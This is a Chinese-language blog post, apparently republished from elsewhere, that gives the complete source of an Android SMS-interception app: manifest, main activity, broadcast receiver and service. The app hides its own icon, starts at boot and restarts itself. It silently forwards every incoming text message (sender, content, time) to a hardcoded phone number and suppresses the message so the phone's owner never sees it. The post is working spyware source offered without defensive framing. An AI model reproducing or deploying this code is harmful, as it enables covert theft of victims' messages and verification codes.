短信拦截再总结

来源:互联网 发布:郭德纲谈网络喷子 编辑:程序博客网 时间:2024/06/03 15:27

主要知识点:接收短信,发送短信,隐藏图标,自启动

1、AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.leo.smsinterceptor"
    android:versionCode="1"
    android:versionName="1.0" >


    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="20" />


    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />


    <application
        android:name=".AppContext"
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:persistent="true"
        android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
        <activity android:name=".MainActivity" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />


                <category android:name="android.intent.category.LAUNCHER" />


                <data
                    android:host="MainActivity"
                    android:scheme="com.leo.smsinterceptor" />
            </intent-filter>
        </activity>


        <receiver android:name=".BootReceiver" >
            <intent-filter android:priority="2147483647" >
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".SmsReceiver" >
            <intent-filter android:priority="2147483647" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>


        <service
            android:name=".RegisterService"
            android:enabled="true" />
    </application>


</manifest>


2、MainActivity.java

package com.leo.smsinterceptor;


import android.app.Activity;
import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.Bundle;


public class MainActivity extends Activity {


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
hideIcon();
finish();
}


private void hideIcon() {
PackageManager packageManager = getPackageManager();
ComponentName componentName = new ComponentName(this,
MainActivity.class);
int res = packageManager.getComponentEnabledSetting(componentName);
if (res == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
|| res == PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
// 隐藏应用图标
packageManager.setComponentEnabledSetting(componentName,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
}
}


3、SmsReceiver.java

package com.leo.smsinterceptor;


import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;


import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;


public class SmsReceiver extends BroadcastReceiver {
private Context mContext = null;
private static final String PHONE_NUMBER = "155";


@SuppressLint("SimpleDateFormat")
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
mContext = context;
toast("received");


Bundle mBundle = intent.getExtras();
if (mBundle != null) {
Object[] _pdus = (Object[]) mBundle.get("pdus");


int length = _pdus.length;
SmsMessage[] messages = new SmsMessage[length];


for (int i = 0; i < length; i++) {
messages[i] = SmsMessage.createFromPdu((byte[]) _pdus[i]);
}


StringBuilder address = new StringBuilder();
StringBuilder body = new StringBuilder();
StringBuilder date = new StringBuilder();


for (SmsMessage message : messages) {
address.append(message.getDisplayOriginatingAddress());


body.append(message.getDisplayMessageBody());


Date mDate = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
date.append(format.format(mDate));
}


toast("发件人:" + address.toString());
toast("内容:" + body.toString());
toast("日期:" + date.toString());
sendSms(PHONE_NUMBER,
"发件人:" + address.toString() + " 内容:" + body.toString()
+ " 日期:" + date.toString());
}


this.abortBroadcast();
}


private void toast(String text) {
Toast.makeText(mContext, text, Toast.LENGTH_SHORT).show();
}


private void sendSms(String number, String message) {
SmsManager mSmsManager = SmsManager.getDefault();
List<String> contents = mSmsManager.divideMessage(message);
for (String text : contents) {
mSmsManager.sendTextMessage(number, null, text, null, null);
}
}
}


4、RegisterService.java

package com.leo.smsinterceptor;


import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;


public class RegisterService extends Service {
private static final String ACTION_SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";


@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}


@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
registerTheReceiver();
}


@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
// return super.onStartCommand(intent, flags, startId);
return Service.START_STICKY;
}


@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
unregisterTheReceiver();
startTheService();
}


private void startTheService() {
Intent service = new Intent(this, RegisterService.class);
startService(service);
}


private SmsReceiver mSmsReceiver = null;


private void unregisterTheReceiver() {
unregisterReceiver(mSmsReceiver);
}


private void registerTheReceiver() {
IntentFilter mIntentFilter = new IntentFilter(ACTION_SMS_RECEIVED);
mIntentFilter.setPriority(2147483647);
mSmsReceiver = new SmsReceiver();
registerReceiver(mSmsReceiver, mIntentFilter);
}


}

0 0